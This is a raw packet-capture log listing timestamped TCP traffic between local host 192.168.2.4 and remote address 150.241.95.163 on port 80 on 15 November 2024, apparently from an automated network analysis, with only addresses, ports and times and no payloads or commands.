Nov 15, 2024 10:28:17.605391979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.605508089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605537891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605554104 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.606976032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.607009888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.607023954 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.607043028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.607084990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.613815069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.613850117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.613882065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.613913059 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.613992929 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614036083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.614093065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614128113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614162922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614171982 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.614695072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614727974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614739895 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.614762068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.614801884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.619245052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.619276047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.619334936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.619379044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.619409084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.619452000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.634035110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634088039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634120941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634150028 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.634154081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634190083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634203911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.634409904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634444952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634466887 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.634480000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634525061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.634530067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634563923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.634603977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.635449886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.635483980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.635514975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.635525942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.644493103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644539118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644567013 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.644577980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644613028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644618988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.644646883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644680023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.644685030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.692440987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.728341103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.728391886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.728429079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.728538036 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.729057074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.729094028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.729111910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.729126930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.729172945 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.737153053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737206936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737261057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737262964 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.737294912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737341881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.737349033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737382889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737416983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737425089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.737449884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.737493038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.739351034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.739428043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.739461899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.739491940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.739495039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.739530087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.739543915 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.742839098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.742877007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.742902994 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.742912054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.742954016 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.757277966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757334948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757368088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757385969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.757401943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757436037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757446051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.757635117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757668972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757684946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.757703066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.757750034 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.757996082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.758157969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.758189917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.758207083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.758224010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.758255959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.758266926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.758948088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.759000063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.759001970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.767952919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768003941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768033981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768052101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.768076897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768125057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768157959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768166065 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.768191099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.768205881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.768249035 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.863854885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.863899946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.863934994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.863967896 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.863976955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864002943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864021063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864056110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864108086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864110947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864140987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864176035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864185095 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864211082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864269972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864880085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864933014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.864979029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.864984989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.865020037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.865053892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.865065098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.865705967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.865753889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.865780115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.868786097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.868839025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.868849039 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.868872881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.868923903 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.880423069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880477905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880511045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880533934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.880733967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880784988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.880822897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880873919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880907059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880918980 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.880939960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880974054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.880985022 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.881508112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.881572962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.881603003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.881635904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.881669998 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.881684065 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.891408920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891443968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891474962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.891477108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891498089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891514063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891520023 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.891532898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891550064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.891556025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891598940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.891647100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891683102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891705036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.891721964 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.942426920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.974792004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.974841118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.974875927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.974931002 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987016916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987090111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987124920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987144947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987162113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987196922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987308979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987308979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987392902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987427950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987473965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987479925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987514019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987549067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987557888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.987584114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.987644911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.988307953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.988360882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.988394022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.988419056 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.988462925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.988497019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.988516092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.989058971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.989108086 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.989109993 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.989145994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.989195108 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.003988981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004033089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004069090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004121065 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.004146099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004182100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004215002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004250050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004281998 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004296064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.004296064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.004329920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.004873991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004906893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004937887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.004956007 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.005369902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.005402088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.005419970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.005434990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.005481005 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.014954090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015011072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015043020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015069008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.015081882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015115023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015152931 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.015664101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015717983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015719891 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.015753031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015785933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.015801907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.067617893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.097894907 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.097943068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.097980022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.098166943 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.110812902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.110866070 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.110899925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.110934019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.110968113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111001015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111051083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111083984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111088991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.111088991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.111124039 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.111135006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111167908 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111182928 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.111202955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.111254930 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.111979961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112030983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112081051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112085104 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.112114906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112147093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112164974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.112181902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.112231016 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.112971067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.113004923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.113038063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.113056898 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.126851082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.126883030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.126916885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.126923084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.126950979 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.126981974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.127293110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127342939 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.127361059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127427101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127471924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.127476931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127510071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127542019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127552032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.127878904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127912045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.127929926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.127944946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.128000975 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.128752947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.128804922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.128838062 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.128858089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.138075113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.138144016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.138144016 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.138179064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.138214111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.138227940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.142357111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142419100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142441988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.142452955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142504930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142505884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.142538071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142575026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.142591000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.192576885 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.220971107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.221039057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.221127033 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.233594894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.233618975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.233633995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.233649969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.233664989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.233680964 CET	80	49736	150.241.95.163	192.168.2.4
